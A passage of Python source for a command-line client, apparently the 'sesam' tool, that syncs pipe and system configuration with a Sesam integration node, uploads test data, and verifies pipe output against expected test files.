configparser\nimport itertools\nimport json\nimport os\nimport zipfile\nimport uuid\nfrom difflib import unified_diff\nfrom fnmatch import fnmatch\nfrom decimal import Decimal\nimport pprint\nfrom jsonformat import format_object\n\nsesam_version = \"2.0.1\"\n\nlogger = logging.getLogger('sesam')\nLOGLEVEL_TRACE = 2\nBASE_DIR = None\nGIT_ROOT = None\n\n\nclass SesamParser(argparse.ArgumentParser):\n def error(self, message):\n sys.stderr.write('error: %s\\n\\n' % message)\n self.print_help()\n sys.exit(2)\n\n\nclass TestSpec:\n \"\"\" Test specification \"\"\"\n\n def __init__(self, filename):\n self._spec = {}\n self._spec_file = filename\n\n self._spec[\"name\"] = filename[:-len(\".test.json\")]\n self._spec[\"file\"] = self.name + \".json\"\n self._spec[\"endpoint\"] = \"json\"\n\n if self.name.find(os.sep) > -1:\n self._spec[\"pipe\"] = self.name.split(os.sep)[-1]\n else:\n self._spec[\"pipe\"] = self.name\n\n with open(filename, \"r\", encoding=\"utf-8-sig\") as fp:\n spec_dict = json.load(fp)\n if isinstance(spec_dict, dict):\n self._spec.update(spec_dict)\n else:\n logger.error(\"Test spec '%s' not in correct json format\" % filename)\n raise AssertionError(\"Test spec not a json object\")\n\n @property\n def spec(self):\n return self._spec\n\n @property\n def spec_file(self):\n filename = self._spec_file\n if not filename.startswith(\"expected\" + os.sep):\n filename = os.path.join(\"expected\", filename)\n return filename\n\n @property\n def file(self):\n filename = self._spec.get(\"file\")\n if not filename.startswith(\"expected\" + os.sep):\n filename = os.path.join(\"expected\", filename)\n return filename\n\n @property\n def name(self):\n return self._spec.get(\"name\")\n\n @property\n def endpoint(self):\n return self._spec.get(\"endpoint\")\n\n @property\n def pipe(self):\n return self._spec.get(\"pipe\")\n\n @property\n def stage(self):\n return self._spec.get(\"stage\")\n\n @property\n def blacklist(self):\n return self._spec.get(\"blacklist\")\n\n @property\n def id(self):\n return self._spec.get(\"_id\")\n\n @property\n def ignore(self):\n return self._spec.get(\"ignore\", False) is True\n\n @property\n def parameters(self):\n return self.spec.get(\"parameters\")\n\n @property\n def expected_data(self):\n filename = self.file\n if not filename.startswith(\"expected\" + os.sep):\n filename = os.path.join(\"expected\", filename)\n\n with open(filename, \"rb\") as fp:\n return fp.read()\n\n @property\n def expected_entities(self):\n filename = self.file\n if not filename.startswith(\"expected\" + os.sep):\n filename = os.path.join(\"expected\", filename)\n\n with open(filename, \"r\", encoding=\"utf-8-sig\") as fp:\n return json.load(fp)\n\n def update_expected_data(self, data):\n filename = self.file\n if not filename.startswith(\"expected\" + os.sep):\n filename = os.path.join(\"expected\", filename)\n\n if os.path.isfile(filename) is False:\n logger.debug(\"Creating new expected data file '%s'\" % filename)\n\n with open(filename, \"wb\") as fp:\n fp.write(data)\n\n def is_path_blacklisted(self, path):\n blacklist = self.blacklist\n if blacklist and isinstance(blacklist, list):\n prop_path = \".\".join(path).replace(\"\\.\", \".\")\n\n for pattern in blacklist:\n if fnmatch(prop_path, pattern.replace(\"[].\", \".*.\")):\n return True\n\n return False\n\n\nclass SesamNode:\n \"\"\" Sesam node functions wrapped in a class to facilitate unit tests \"\"\"\n\n def __init__(self, node_url, jwt_token, logger, verify_ssl=True):\n self.logger = logger\n\n self.node_url = node_url\n self.jwt_token = jwt_token\n\n safe_jwt = \"{}*********{}\".format(jwt_token[:10], jwt_token[-10:])\n self.logger.debug(\"Connecting to Sesam using url '%s' and JWT '%s'\", node_url, safe_jwt)\n\n self.api_connection = sesamclient.Connection(sesamapi_base_url=self.node_url, jwt_auth_token=self.jwt_token,\n timeout=60 * 10, verify_ssl=verify_ssl)\n\n def restart(self, timeout):\n old_stats = self.api_connection.get_status()\n restart = self.api_connection.restart_node()\n if restart != {\"message\": \"OK\"}:\n self.logger.debug(\"Restart node API call failed! It returned '%s', \"\n \"expected '{\\\"message\\\": \\\"OK\\\"}'\" % restart)\n raise RuntimeError(\"Failed to restart node!\")\n\n # Wait until status works and gives a new start-time\n starttime = time.monotonic()\n while True:\n try:\n new_stats = self.api_connection.get_status()\n if old_stats[\"node_start_time\"] != new_stats[\"node_start_time\"]:\n break\n msg = \"No new node_start_time\"\n except BaseException as e:\n msg = str(e)\n\n elapsed_time = time.monotonic() - starttime\n if elapsed_time > timeout:\n raise RuntimeError(\"Failed to start node - wait for node restart timed \"\n \"out after %s seconds. The last errror was: %s\" % (timeout, msg))\n time.sleep(3)\n\n def put_config(self, config, force=False):\n self.logger.log(LOGLEVEL_TRACE, \"PUT config to %s\" % self.node_url)\n self.api_connection.upload_config(config, force=force)\n\n def put_env(self, env_vars):\n self.logger.log(LOGLEVEL_TRACE, \"PUT env vars to %s\" % self.node_url)\n self.api_connection.put_env_vars(env_vars)\n\n def get_system(self, system_id):\n self.logger.log(LOGLEVEL_TRACE, \"Get system '%s' from %s\" % (system_id, self.node_url))\n try:\n return self.api_connection.get_system(system_id)\n except:\n return None\n\n def get_pipe(self, pipe_id):\n self.logger.log(LOGLEVEL_TRACE, \"Get pipe '%s' from %s\" % (pipe_id, self.node_url))\n try:\n return self.api_connection.get_pipe(pipe_id)\n except:\n return None\n\n def add_system(self, config, verify=False, timeout=300):\n self.logger.log(LOGLEVEL_TRACE, \"Add system '%s' to %s\" % (config, self.node_url))\n\n self.api_connection.add_systems([config])\n\n if not verify:\n return True\n\n # If verify is set, we wait until the runtime config matches the given config\n self.logger.debug(\"Verifying posted system '%s'..\" % config[\"_id\"])\n sleep_time = 5.0\n while timeout > 0:\n try:\n system = self.get_system(config[\"_id\"])\n # Check if config now matches the config we posted\n if system.config[\"original\"] == config:\n self.logger.debug(\"Posted system '%s' verified OK!\" % config[\"_id\"])\n return True\n except BaseException as e:\n pass\n\n time.sleep(sleep_time)\n\n timeout -= sleep_time\n\n self.logger.debug(\"Failed to verify posted system '%s'!\" % config[\"_id\"])\n return False\n\n def add_systems(self, config):\n self.logger.log(LOGLEVEL_TRACE, \"Add systems '%s' to %s\" % (config, self.node_url))\n return self.api_connection.add_systems(config)\n\n def remove_system(self, system_id):\n self.logger.log(LOGLEVEL_TRACE, \"Remove system '%s' from %s\" % (system_id, self.node_url))\n try:\n system = self.api_connection.get_system(system_id)\n if system is not None:\n system.delete()\n except:\n logger.warning(\"Could not remove system '%s' - perhaps it doesn't exist\" % system_id)\n\n def get_config(self, binary=False):\n data = self.api_connection.get_config_as_zip()\n if not binary:\n return zipfile.ZipFile(io.BytesIO(data))\n\n return data\n\n def remove_all_datasets(self):\n self.logger.log(LOGLEVEL_TRACE, \"Remove alle datasets from %s\" % self.node_url)\n for dataset in self.api_connection.get_datasets():\n dataset_id = dataset.id\n if not dataset.id.startswith(\"system:\"):\n try:\n dataset.delete()\n self.logger.debug(\"Dataset '%s' deleted\" % dataset_id)\n except BaseException as e:\n self.logger.error(\"Failed to delete dataset '%s'\" % dataset.id)\n raise e\n\n def get_pipe_type(self, pipe):\n source_config = pipe.config[\"effective\"].get(\"source\",{})\n sink_config = pipe.config[\"effective\"].get(\"sink\",{})\n source_type = source_config.get(\"type\", \"\")\n sink_type = sink_config.get(\"type\", \"\")\n\n if source_type == \"embedded\":\n return \"input\"\n\n if isinstance(sink_type, str) and sink_type.endswith(\"_endpoint\"):\n return \"endpoint\"\n\n if (source_config.get(\"dataset\") or source_config.get(\"datasets\")) and\\\n sink_config.get(\"dataset\"):\n return \"internal\"\n\n if not sink_config.get(\"dataset\"):\n return \"output\"\n\n return \"internal\"\n\n def get_output_pipes(self):\n return [p for p in self.api_connection.get_pipes() if self.get_pipe_type(p) == \"output\"]\n\n def get_input_pipes(self):\n return [p for p in self.api_connection.get_pipes() if self.get_pipe_type(p) == \"input\"]\n\n def get_endpoint_pipes(self):\n return [p for p in self.api_connection.get_pipes() if self.get_pipe_type(p) == \"endpoint\"]\n\n def get_internal_pipes(self):\n return [p for p in self.api_connection.get_pipes() if self.get_pipe_type(p) == \"internal\"]\n\n def run_internal_scheduler(self, disable_pipes=True, zero_runs=None, max_run_time=None, max_runs=None):\n internal_scheduler_url = \"%s/pipes/run-all-pipes\" % self.node_url\n\n params = {}\n if disable_pipes:\n params[\"disable_pipes\"] = \"true\"\n\n if zero_runs is not None:\n params[\"extra_zero_runs\"] = zero_runs\n\n if max_run_time is not None:\n params[\"max_run_time\"] = max_run_time\n\n if max_runs is not None:\n params[\"max_runs\"] = max_runs\n\n resp = self.api_connection.session.post(internal_scheduler_url, params=params)\n resp.raise_for_status()\n\n return resp.json()\n\n def stop_internal_scheduler(self, terminate_timeout=30):\n internal_scheduler_url = \"%s/pipes/stop-run-all-pipes\" % self.node_url\n\n params = {\"terminate_timeout\": terminate_timeout}\n\n resp = self.api_connection.session.post(internal_scheduler_url, params=params)\n resp.raise_for_status()\n\n return resp.json()\n\n def get_internal_scheduler_log(self, since=None):\n scheduler_log_url = \"%s/pipes/get-run-all-pipes-log\" % self.node_url\n\n if since:\n params = {\"since\": since}\n else:\n params = None\n\n resp = self.api_connection.session.get(scheduler_log_url, params=params)\n resp.raise_for_status()\n\n return resp.json()\n\n def get_pipe_entities(self, pipe, stage=None):\n if stage is None:\n pipe_url = \"%s/pipes/%s/entities\" % (self.node_url, pipe.id)\n else:\n pipe_url = \"%s/pipes/%s/entities?stage=%s\" % (self.node_url, pipe.id, stage)\n\n resp = self.api_connection.session.get(pipe_url)\n resp.raise_for_status()\n\n return resp.json()\n\n def get_published_data(self, pipe, type=\"entities\", params=None, binary=False):\n\n pipe_url = \"%s/publishers/%s/%s\" % (self.node_url, pipe.id, type)\n\n # Enable the pump, if it is disabled, or else we can't get the data\n pump = pipe.get_pump()\n if pump.is_disabled:\n pump.enable()\n\n resp = self.api_connection.session.get(pipe_url, params=params)\n resp.raise_for_status()\n\n if binary:\n return resp.content\n\n return resp.text\n\n def get_system_status(self, system_id):\n system_url = self.api_connection.get_system_url(system_id)\n\n resp = self.api_connection.session.get(system_url + \"/status\")\n resp.raise_for_status()\n\n status = resp.json()\n if isinstance(status, dict):\n return status\n\n return None\n\n def get_system_log(self, system_id, params=None):\n\n system_url = self.api_connection.get_system_url(system_id)\n\n resp = self.api_connection.session.get(\"%s/logs\" % system_url, params=params)\n resp.raise_for_status()\n\n return resp.text\n\n def wait_for_microservice(self, microservice_id, timeout=300):\n \"\"\" Polls the microservice status API until it is running (or we time out) \"\"\"\n\n system = self.get_system(microservice_id)\n if system is None:\n raise AssertionError(\"Microservice system '%s' doesn't exist\" % microservice_id)\n\n sleep_time = 5.0\n while timeout > 0:\n try:\n system_status = self.get_system_status(microservice_id)\n except BaseException as e:\n self.logger.debug(\"Failed to get system status for microservice '%s'\", microservice_id)\n system_status = None\n\n if system_status is not None and system_status.get(\"running\", False) is True:\n return True\n\n time.sleep(sleep_time)\n\n timeout -= sleep_time\n\n return False\n\n def microservice_get_proxy_request(self, microservice_id, path, params=None, result_as_json=True):\n\n system = self.get_system(microservice_id)\n if system is None:\n raise AssertionError(\"Microservice system '%s' doesn't exist\" % microservice_id)\n\n system_url = self.api_connection.get_system_url(microservice_id)\n resp = self.api_connection.session.get(system_url + \"/proxy/\" + path, params=params)\n resp.raise_for_status()\n\n if result_as_json:\n return resp.json()\n\n return resp.text\n\n def microservice_post_proxy_request(self, microservice_id, path, params=None, data=None, result_as_json=True):\n return self.microservice_post_put_proxy_request(microservice_id, \"POST\", path, params=params, data=data,\n result_as_json=result_as_json)\n\n def microservice_put_proxy_request(self, microservice_id, path, params=None, data=None, result_as_json=True):\n return self.microservice_post_put_proxy_request(microservice_id, \"PUT\", path, params=params, data=data,\n result_as_json=result_as_json)\n\n def microservice_post_put_proxy_request(self, microservice_id, method, path, params=None, data=None,\n result_as_json=True):\n\n system = self.get_system(microservice_id)\n if system is None:\n raise AssertionError(\"Microservice system '%s' doesn't exist\" % microservice_id)\n\n system_url = self.api_connection.get_system_url(microservice_id)\n if method.lower() == \"post\":\n resp = self.api_connection.session.post(system_url + \"/proxy/\" + path, params=params, data=data)\n elif method.lower() == \"put\":\n resp = self.api_connection.session.put(system_url + \"/proxy/\" + path, params=params, data=data)\n else:\n raise AssertionError(\"Unknown method '%s'\" % method)\n\n resp.raise_for_status()\n\n if result_as_json:\n return resp.json()\n\n return resp.text\n\n def pipe_receiver_post_request(self, pipe_id, **kwargs):\n pipe = self.get_pipe(pipe_id)\n if pipe is None:\n raise AssertionError(\"Pipe '%s' doesn't exist\" % pipe_id)\n\n pipe_url = self.api_connection.get_pipe_receiver_endpoint_url(pipe_id)\n\n resp = self.api_connection.session.post(pipe_url, **kwargs)\n\n resp.raise_for_status()\n return resp.json()\n\n def enable_pipe(self, pipe_id):\n self.get_pipe(pipe_id).get_pump().enable()\n\n def disable_pipe(self, pipe_id):\n self.get_pipe(pipe_id).get_pump().disable()\n\n def delete_dataset(self, pipe_id):\n dataset_url = \"%s/datasets/%s\" % (self.node_url, pipe_id)\n resp = self.api_connection.session.delete(dataset_url)\n resp.raise_for_status()\n\n return resp.json()\n\n\nclass SesamCmdClient:\n \"\"\" Commands wrapped in a class to make it easier to write unit tests \"\"\"\n\n def __init__(self, args, logger):\n self.args = args\n self.logger = logger\n self.sesam_node = None\n\n def read_config_file(self, filename):\n parser = configparser.ConfigParser(strict=False)\n\n with open(filename) as fp:\n parser.read_file(itertools.chain(['[sesam]'], fp), source=filename)\n config = {}\n for key, value in parser.items(\"sesam\"):\n config[key.lower()] = value\n\n return config\n\n def _coalesce(self, items):\n for item in items:\n if item is not None:\n return item\n\n def zip_dir(self, zipfile, dir):\n for root, dirs, files in os.walk(dir):\n for file in files:\n if file.endswith(\".conf.json\"):\n zipfile.write(os.path.join(root, file))\n\n def get_zip_config(self, remove_zip=True):\n \"\"\" Create a ZIP file from the local content on disk and return a bytes object\n If \"remove_zip\" is False, we dump it to disk as \"sesam-config.zip\" as well.\n \"\"\"\n if os.path.isfile(\"sesam-config.zip\"):\n os.remove(\"sesam-config.zip\")\n\n zip_file = zipfile.ZipFile('sesam-config.zip', 'w', zipfile.ZIP_DEFLATED)\n\n self.zip_dir(zip_file, \"pipes\")\n self.zip_dir(zip_file, \"systems\")\n\n if os.path.isfile(\"node-metadata.conf.json\"):\n zip_file.write(\"node-metadata.conf.json\")\n\n zip_file.close()\n\n with open(\"sesam-config.zip\", \"rb\") as fp:\n zip_data = fp.read()\n\n if remove_zip:\n os.remove(\"sesam-config.zip\")\n\n return zip_data\n\n def get_zipfile_data_by_filename(self, zip_data, filename):\n zin = zipfile.ZipFile(io.BytesIO(zip_data))\n\n for item in zin.infolist():\n if item.filename == filename:\n return zin.read(item.filename)\n\n zin.close()\n return None\n\n def replace_file_in_zipfile(self, zip_data, filename, replacement):\n zin = zipfile.ZipFile(io.BytesIO(zip_data))\n buffer = io.BytesIO()\n zout = zipfile.ZipFile(buffer, mode=\"w\")\n\n for item in zin.infolist():\n if item.filename == filename:\n zout.writestr(item, replacement)\n else:\n zout.writestr(item, zin.read(item.filename))\n\n zout.close()\n zin.close()\n\n buffer.seek(0)\n return buffer.read()\n\n def remove_task_manager_settings(self, zip_data):\n node_metadata = {}\n if os.path.isfile(\"node-metadata.conf.json\"):\n with open(\"node-metadata.conf.json\", \"r\") as infile:\n node_metadata = json.load(infile)\n\n if node_metadata.get(\"task_manager\", {}).get(\"disable_user_pipes\", False) is True:\n # No need to do anything, the setting is originally in the file!\n return zip_data\n\n remote_data = self.get_zipfile_data_by_filename(zip_data, \"node-metadata.conf.json\")\n if remote_data:\n remote_metadata = json.loads(str(remote_data, encoding=\"utf-8\"))\n\n if \"task_manager\" in remote_metadata and \"disable_user_pipes\" in remote_metadata[\"task_manager\"] and \\\n remote_metadata[\"task_manager\"][\"disable_user_pipes\"] is True:\n remote_metadata[\"task_manager\"].pop(\"disable_user_pipes\")\n # Remove the entire task_manager section if its empty\n if len(remote_metadata[\"task_manager\"]) == 0:\n remote_metadata.pop(\"task_manager\")\n\n # Replace the file and return the new zipfile\n return self.replace_file_in_zipfile(zip_data, \"node-metadata.conf.json\",\n json.dumps(remote_metadata, indent=2,\n ensure_ascii=False).encode(\"utf-8\"))\n\n return zip_data\n\n def get_node_and_jwt_token(self):\n syncconfigfilename = self.args.sync_config_file\n try:\n curr_dir = os.getcwd()\n if curr_dir is None:\n self.logger.error(\"Failed to open current directory. Check your permissions.\")\n raise AssertionError(\"Failed to open current directory. Check your permissions.\")\n\n # Find config on disk, if any\n try:\n file_config = {}\n if os.path.isfile(syncconfigfilename):\n # Found a local .syncconfig file, read it\n file_config = self.read_config_file(syncconfigfilename)\n else:\n logger.info(\"Couldn't find sync config file '%s' - looking in parent folder..\")\n # Look in the parent folder\n if os.path.isfile(\"..\" + os.sep + syncconfigfilename):\n file_config = self.read_config_file(\"..\" + os.sep + syncconfigfilename)\n if file_config:\n curr_dir = os.path.abspath(\"..\" + os.sep)\n self.logger.info(\"Found sync config file '%s' in parent path. Using %s \"\n \"as base directory\" % (syncconfigfilename, curr_dir))\n os.chdir(curr_dir)\n\n self.logger.info(\"Using %s as base directory\", curr_dir)\n global BASE_DIR\n BASE_DIR = curr_dir\n\n self.node_url = self._coalesce([args.node, os.environ.get(\"NODE\"), file_config.get(\"node\")])\n self.jwt_token = self._coalesce([args.jwt, os.environ.get(\"JWT\"), file_config.get(\"jwt\")])\n\n if self.jwt_token and self.jwt_token.startswith('\"') and self.jwt_token[-1] == '\"':\n self.jwt_token = self.jwt_token[1:-1]\n\n if self.jwt_token.startswith(\"bearer \"):\n self.jwt_token = self.jwt_token.replace(\"bearer \", \"\")\n\n if self.jwt_token.startswith(\"Bearer \"):\n self.jwt_token = self.jwt_token.replace(\"Bearer \", \"\")\n\n self.node_url = self.node_url.replace('\"', \"\")\n\n if not self.node_url.startswith(\"http\"):\n self.node_url = \"https://%s\" % self.node_url\n\n if not self.node_url[-4:] == \"/api\":\n self.node_url = \"%s/api\" % self.node_url\n\n return self.node_url, self.jwt_token\n except BaseException as e:\n self.logger.error(\"Failed to read '.syncconfig' from either the current directory or the \"\n \"parent directory. Check that you are in the correct directory, that you have the\"\n \"required permissions to read the files and that the files have the correct format.\")\n raise e\n\n except BaseException as e:\n logger.error(\"Failed to find node url and/or jwt token\")\n raise e\n\n def format_zip_config(self, zip_data, binary=False):\n zip_config = zipfile.ZipFile(io.BytesIO(zip_data))\n buffer = io.BytesIO()\n zout = zipfile.ZipFile(buffer, mode=\"w\")\n\n for item in zip_config.infolist():\n formatted_item = format_object(json.load(zip_config.open(item.filename)))\n zout.writestr(item, formatted_item)\n\n zout.close()\n\n buffer.seek(0)\n return buffer.read()\n\n def upload(self):\n # Find env vars to upload\n profile_file = \"%s-env.json\" % self.args.profile\n try:\n with open(profile_file, \"r\", encoding=\"utf-8-sig\") as fp:\n json_data = json.load(fp)\n except BaseException as e:\n self.logger.error(\"Failed to parse profile: '%s'\" % profile_file)\n raise e\n\n try:\n self.sesam_node.put_env(json_data)\n except BaseException as e:\n self.logger.error(\"Failed to replace environment variables in Sesam\")\n raise e\n\n # Zip the relevant directories and upload to Sesam\n try:\n zip_config = self.get_zip_config(remove_zip=args.dump is False)\n\n # Modify the node-metadata.conf.json to stop the pipe scheduler\n if not self.args.enable_user_pipes and os.path.isfile(\"node-metadata.conf.json\"):\n with open(\"node-metadata.conf.json\", \"r\") as infile:\n node_metadata = json.load(infile)\n if \"task_manager\" not in node_metadata:\n node_metadata[\"task_manager\"] = {}\n\n node_metadata[\"task_manager\"][\"disable_user_pipes\"] = True\n\n zip_config = self.replace_file_in_zipfile(zip_config, \"node-metadata.conf.json\",\n json.dumps(node_metadata).encode(\"utf-8\"))\n except BaseException as e:\n logger.error(\"Failed to create zip archive of config\")\n raise e\n\n try:\n self.sesam_node.put_config(zip_config, force=True)\n except BaseException as e:\n self.logger.error(\"Failed to upload config to sesam\")\n raise e\n\n self.logger.info(\"Config uploaded successfully\")\n\n if os.path.isdir(\"testdata\"):\n for root, dirs, files in os.walk(\"testdata\"):\n for filename in files:\n pipe_id = filename.replace(\".json\", \"\")\n try:\n with open(os.path.join(root, filename), \"r\", encoding=\"utf-8\") as f:\n entities_json = json.load(f)\n\n if entities_json is not None:\n # deleting dataset before pushing data, since http_endpoint receiver will not delete\n # existing test data.\n self.sesam_node.delete_dataset(pipe_id)\n self.sesam_node.enable_pipe(pipe_id)\n self.sesam_node.pipe_receiver_post_request(pipe_id, json=entities_json)\n self.sesam_node.disable_pipe(pipe_id)\n\n except BaseException as e:\n self.logger.error(f\"Failed to post payload to pipe {pipe_id}. {e}. Response from server was: {e.response.text}\")\n raise e\n\n self.logger.info(\"Test data uploaded successfully\")\n else:\n self.logger.info(\"No test data found to upload\")\n\n def dump(self):\n try:\n zip_config = self.get_zip_config(remove_zip=False)\n except BaseException as e:\n logger.error(\"Failed to create zip archive of config\")\n raise e\n\n def download(self):\n if self.args.dump:\n if os.path.isfile(\"sesam-config.zip\"):\n os.remove(\"sesam-config.zip\")\n\n zip_data = self.sesam_node.get_config(binary=True)\n zip_data = self.remove_task_manager_settings(zip_data)\n\n\n # normalize formatting\n formatted_zip_data = self.format_zip_config(zip_data, binary=True)\n with open(\"sesam-config.zip\", \"wb\") as fp:\n fp.write(formatted_zip_data)\n\n self.logger.info(\"Dumped downloaded config to 'sesam-config.zip'\")\n else:\n zip_data = self.sesam_node.get_config(binary=True)\n zip_data = self.remove_task_manager_settings(zip_data)\n\n try:\n # Remove all previous pipes and systems\n for filename in glob.glob(\"pipes%s*.conf.json\" % os.sep):\n self.logger.debug(\"Deleting pipe config file '%s'\" % filename)\n os.remove(filename)\n\n for filename in glob.glob(\"systems%s*.conf.json\" % os.sep):\n self.logger.debug(\"Deleting system config file '%s'\" % filename)\n os.remove(filename)\n\n # normalize formatting\n zip_data = self.format_zip_config(zip_data)\n zip_config = zipfile.ZipFile(io.BytesIO(zip_data))\n zip_config.extractall()\n except BaseException as e:\n self.logger.error(\"Failed to unzip config file from Sesam to current directory\")\n raise e\n\n zip_config.close()\n\n self.logger.info(\"Replaced local config successfully\")\n\n def status(self):\n logger.error(\"Comparing local and node config...\")\n\n local_config = zipfile.ZipFile(io.BytesIO(self.get_zip_config()))\n if self.args.dump:\n zip_data = self.sesam_node.get_config(binary=True)\n zip_data = self.remove_task_manager_settings(zip_data)\n\n with open(\"sesam-config.zip\", \"wb\") as fp:\n fp.write(zip_data)\n\n self.logger.info(\"Dumped downloaded config to 'sesam-config.zip'\")\n else:\n remote_config = self.sesam_node.get_config(binary=True)\n zip_data = self.remove_task_manager_settings(remote_config)\n\n remote_config = zipfile.ZipFile(io.BytesIO(zip_data))\n\n remote_files = sorted(remote_config.namelist())\n local_files = sorted(local_config.namelist())\n\n diff_found = False\n for remote_file in remote_files:\n if remote_file not in local_files:\n self.logger.info(\"Sesam file '%s' was not found locally\" % remote_file)\n diff_found = True\n\n for local_file in local_files:\n if local_file not in remote_files:\n self.logger.info(\"Local file '%s' was not found in Sesam\" % local_file)\n diff_found = True\n else:\n local_file_data = str(local_config.read(local_file), encoding=\"utf-8\")\n remote_file_data = format_object(json.load(remote_config.open(local_file)))\n\n if local_file_data != remote_file_data:\n self.logger.info(\"File '%s' differs from Sesam!\" % local_file)\n\n diff = self.get_diff_string(local_file_data, remote_file_data, local_file, local_file)\n logger.info(\"Diff:\\n%s\" % diff)\n\n diff_found = True\n\n if diff_found:\n logger.info(\"Sesam config is NOT in sync with local config!\")\n else:\n logger.info(\"Sesam config is up-to-date with local config!\")\n\n def filter_entity(self, entity, test_spec):\n \"\"\" Remove most underscore keys and filter potential blacklisted keys \"\"\"\n def filter_item(parent_path, item):\n result = copy.deepcopy(item)\n if isinstance(item, dict):\n for key, value in item.items():\n path = parent_path + [key]\n if key.startswith(\"_\"):\n if key == \"_id\" or (key == \"_deleted\" and value is True):\n continue\n result.pop(key)\n elif test_spec.is_path_blacklisted(path):\n result.pop(key)\n else:\n result[key] = filter_item(path, value)\n return result\n elif isinstance(item, list):\n result = []\n for list_item in item:\n result.append(filter_item(parent_path, list_item))\n return result\n\n return item\n\n return filter_item([], entity)\n\n def load_test_specs(self, existing_output_pipes, update=False):\n test_specs = {}\n failed = False\n\n # Load test specifications\n for filename in glob.glob(\"expected%s*.test.json\" % os.sep):\n self.logger.debug(\"Processing spec file '%s'\" % filename)\n\n test_spec = TestSpec(filename)\n\n pipe_id = test_spec.pipe\n self.logger.log(LOGLEVEL_TRACE, \"Pipe id for spec '%s' is '%s\" % (filename, pipe_id))\n\n if pipe_id not in existing_output_pipes:\n if update is False:\n logger.error(\"Test spec '%s' references a non-exisiting output \"\n \"pipe '%s' - please remove '%s'\" % (test_spec.spec_file, pipe_id, test_spec.spec_file))\n failed = True\n else:\n if test_spec.ignore is False:\n # Remove the test spec file\n if os.path.isfile(\"%s\" % test_spec.spec_file):\n logger.warning(\"Test spec '%s' references a non-exisiting output \"\n \"pipe '%s' - removing '%s'..\" % (test_spec.spec_file, pipe_id,\n test_spec.spec_file))\n os.remove(test_spec.spec_file)\n continue\n else:\n logger.warning(\"Test spec '%s' references a non-exisiting output \"\n \"pipe '%s' but is marked as 'ignore' - consider \"\n \"removing '%s'..\" % (test_spec.spec_file, pipe_id, test_spec.spec_file))\n\n if test_spec.ignore is False and not os.path.isfile(\"%s\" % test_spec.file):\n logger.warning(\"Test spec '%s' references non-exisiting 'expected' output \"\n \"file '%s'\" % (test_spec.spec_file, test_spec.file))\n if update is True:\n logger.info(\"Creating empty 'expected' output file '%s'...\" % test_spec.file)\n with open(test_spec.file, \"w\") as fp:\n fp.write(\"[]\\n\")\n else:\n failed = True\n\n # If spec says 'ignore' then the corresponding output file should not exist\n if failed is False and test_spec.ignore is True:\n output_filename = test_spec.file\n\n if os.path.isfile(output_filename):\n if update:\n self.logger.debug(\"Removing existing output file '%s'\" % output_filename)\n os.remove(output_filename)\n else:\n self.logger.warning(\n \"pipe '%s' is ignored, but output file '%s' still exists\" % (pipe_id, filename))\n\n if pipe_id not in test_specs:\n test_specs[pipe_id] = []\n\n test_specs[pipe_id].append(test_spec)\n\n if failed:\n logger.error(\"Test specs verify failed, correct errors and retry\")\n raise RuntimeError(\"Test specs verify failed, correct errors and retry\")\n\n if update:\n for pipe in existing_output_pipes.values():\n self.logger.debug(\"Updating pipe '%s\" % pipe.id)\n\n if pipe.id not in test_specs:\n self.logger.warning(\"Found no spec for pipe %s - creating empty spec file\" % pipe.id)\n\n filename = os.path.join(\"expected\", \"%s.test.json\" % pipe.id)\n with open(filename, \"w\") as fp:\n fp.write(\"{\\n}\")\n test_specs[pipe.id] = [TestSpec(filename)]\n\n return test_specs\n\n def get_diff_string(self, a, b, a_filename, b_filename):\n a_lines = io.StringIO(a).readlines()\n b_lines = io.StringIO(b).readlines()\n\n return \"\".join(unified_diff(a_lines, b_lines, fromfile=a_filename, tofile=b_filename))\n\n def bytes_to_xml_string(self, xml_data):\n\n xml_declaration, standalone = self.find_xml_header_settings(xml_data)\n xml_doc_root = etree.fromstring(xml_data)\n\n try:\n result = str(etree.tostring(xml_doc_root, encoding=\"utf-8\",\n xml_declaration=xml_declaration,\n standalone=standalone,\n pretty_print=True), encoding=\"utf-8\")\n except UnicodeEncodeError as e:\n result = str(etree.tostring(xml_doc_root, encoding=\"latin-1\",\n xml_declaration=xml_declaration,\n standalone=standalone,\n pretty_print=True), encoding=\"latin-1\")\n\n return result\n\n def _fix_decimal_to_ints(self, value):\n if isinstance(value, dict):\n for key, dict_value in value.items():\n value[key] = self._fix_decimal_to_ints(dict_value)\n elif isinstance(value, list):\n for ix, list_item in enumerate(value):\n value[ix] = self._fix_decimal_to_ints(list_item)\n else:\n if isinstance(value, (Decimal, float)):\n v = str(value)\n\n if v and v.endswith(\".0\"):\n return self._fix_decimal_to_ints(int(value))\n elif not args.no_large_int_bugs and isinstance(value, int):\n v = str(value)\n if v and len(v) > len(\"9007199254740991\"):\n # Simulate go client bug :P\n return int(Decimal(str(float(value))))\n\n return value\n\n def verify(self):\n self.logger.info(\"Verifying that expected output matches current output...\")\n output_pipes = {}\n\n for p in self.sesam_node.get_output_pipes() + self.sesam_node.get_endpoint_pipes():\n output_pipes[p.id] = p\n\n test_specs = self.load_test_specs(output_pipes)\n\n if not test_specs:\n # IS-8560: no test files should result in a warning, not an error\n self.logger.warning(\"Found no tests (*.test.json) to run\")\n return\n\n failed_tests = []\n missing_tests = []\n failed = False\n for pipe in output_pipes.values():\n self.logger.debug(\"Verifying pipe '%s'..\" % pipe.id)\n\n if pipe.id in test_specs:\n # Verify all tests specs for this pipe\n for test_spec in test_specs[pipe.id]:\n if test_spec.ignore is True:\n self.logger.debug(\"Skipping test spec '%s' because it was marked as 'ignore'\" % test_spec.name)\n continue\n\n if test_spec.endpoint == \"json\" or test_spec.endpoint == \"excel\":\n # Get current entities from pipe in json form\n expected_output = sorted(test_spec.expected_entities,\n key=lambda e: (e['_id'],\n json.dumps(e, ensure_ascii=False,\n sort_keys=True)))\n\n current_output = sorted([self.filter_entity(e, test_spec)\n for e in self.sesam_node.get_pipe_entities(pipe,\n stage=test_spec.stage)],\n key=lambda e: e['_id'])\n\n fixed_current_output = self._fix_decimal_to_ints(copy.deepcopy(current_output))\n\n fixed_current_output = sorted(fixed_current_output,\n key=lambda e: (e['_id'],\n json.dumps(e, ensure_ascii=False,\n sort_keys=True)))\n\n if len(fixed_current_output) != len(expected_output):\n file_path = os.path.join(os.path.relpath(BASE_DIR, GIT_ROOT), test_spec.file)\n msg = \"Pipe verify failed! Length mismatch for test spec '%s': \" \\\n \"expected %d got %d\" % (test_spec.spec_file,\n len(expected_output), len(fixed_current_output))\n self.logger.error(msg, {\"file_path\": file_path})\n\n self.logger.info(\"Expected output:\\n%s\", pprint.pformat(expected_output))\n\n if self.args.extra_extra_verbose:\n self.logger.info(\"Got raw output:\\n%s\", 